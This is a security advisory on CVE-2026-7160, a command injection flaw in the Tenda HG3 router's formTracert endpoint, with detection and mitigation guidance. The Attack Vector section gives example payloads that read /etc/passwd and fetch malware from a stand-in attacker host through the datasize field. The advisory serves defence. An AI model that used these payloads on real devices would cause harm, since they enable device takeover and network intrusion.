CVE-2026-7160: Tenda HG3 2.0 RCE Vulnerability

CVE-2026-7160 Overview

A command injection vulnerability has been identified in Tenda HG3 version 2.0. This vulnerability affects the formTracert function within the file /boaform/formTracert. By manipulating the datasize argument, an attacker can inject arbitrary system commands that execute on the underlying operating system. The attack can be launched remotely over the network, making it a significant threat to devices exposed to untrusted networks. The exploit has been publicly disclosed, increasing the risk of exploitation in the wild.

Critical Impact

Remote attackers can achieve full system compromise by injecting arbitrary commands through the vulnerable datasize parameter, potentially leading to complete device takeover, data exfiltration, or use of the device as a pivot point for further network attacks.

Affected Products

• Tenda HG3 version 2.0
• Tenda HG3 devices running firmware with vulnerable /boaform/formTracert endpoint

Discovery Timeline

• 2026-04-27 - CVE-2026-7160 published to NVD
• 2026-04-28 - Last updated in NVD database

Technical Details for CVE-2026-7160

Vulnerability Analysis

This command injection vulnerability (CWE-74) stems from improper input validation in the formTracert function. The function is designed to handle traceroute functionality through a web-based administration interface. When processing user-supplied input via the datasize parameter, the application fails to properly sanitize or validate the input before passing it to system-level command execution routines.

The vulnerability is exploitable remotely over the network, requiring low-privilege authentication to access the vulnerable endpoint. Once exploited, an attacker gains the ability to execute commands with the same privileges as the web server process, typically root on embedded devices like the Tenda HG3. This enables complete confidentiality, integrity, and availability compromise of the affected device.

Root Cause

The root cause of this vulnerability is insufficient input sanitization in the formTracert function. The datasize parameter, which should only accept numeric values for configuring packet sizes in traceroute operations, does not properly filter or escape shell metacharacters. This allows attackers to break out of the intended command context and inject additional commands using shell operators such as semicolons, pipes, or command substitution syntax.

Attack Vector

The attack is network-accessible, meaning any attacker who can reach the device's web administration interface at /boaform/formTracert can attempt exploitation. The attack requires low-level privileges (authenticated access to the web interface), but no user interaction is required. An attacker sends a crafted HTTP request containing malicious shell commands embedded within the datasize parameter value, which are then executed by the underlying system.

For example, an attacker could inject commands by appending shell metacharacters and arbitrary commands to the datasize value. Instead of a legitimate numeric value like 64, the attacker might supply a payload such as 64;cat /etc/passwd or 64|wget http://attacker.com/malware, causing the injected commands to execute on the target device. Technical details regarding exploitation can be found in the VulDB Vulnerability Entry and the associated security resource.

Detection Methods for CVE-2026-7160

Indicators of Compromise

• Unusual HTTP POST requests to /boaform/formTracert containing shell metacharacters (;, |, $(), backticks) in the datasize parameter
• Unexpected outbound network connections from Tenda HG3 devices to external IP addresses
• Anomalous process spawning from the web server process on the affected device
• Modified system files or presence of unauthorized scripts in temporary directories

Detection Strategies

• Implement network intrusion detection rules to monitor for HTTP requests to /boaform/formTracert containing common command injection payloads
• Deploy web application firewall (WAF) rules to block requests with shell metacharacters in the datasize parameter
• Monitor device logs for unusual command execution patterns or authentication anomalies
• Conduct regular firmware integrity checks to detect unauthorized modifications

Monitoring Recommendations

• Enable verbose logging on Tenda HG3 devices and forward logs to a centralized SIEM for analysis
• Implement network segmentation to isolate IoT/network devices from critical infrastructure
• Establish baseline traffic patterns for Tenda devices and alert on deviations
• Periodically audit device configurations and access logs for signs of compromise

How to Mitigate CVE-2026-7160

Immediate Actions Required

• Restrict network access to the Tenda HG3 web administration interface to trusted management networks only
• Implement firewall rules to block external access to port 80/443 on affected devices
• Change default credentials and enforce strong authentication for device management
• Monitor for firmware updates from Tenda and apply patches as soon as they become available

Patch Information

At the time of publication, no official patch has been confirmed from Tenda. Administrators should regularly check the Tenda Security Page for firmware updates addressing this vulnerability. Additional vulnerability details are available through VulDB Submission #802079 and VulDB CTI.

Workarounds

• Disable remote management access to the device's web interface if not required
• Place the device behind a properly configured firewall that blocks access from untrusted networks
• If remote management is necessary, implement VPN access as a prerequisite for administrative connections
• Consider deploying network access control (NAC) solutions to limit which hosts can communicate with the device

# Example firewall rule to restrict access to Tenda HG3 management interface
# Allow only trusted management network (10.0.0.0/24) to access web interface
iptables -A INPUT -s 10.0.0.0/24 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -s 10.0.0.0/24 -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP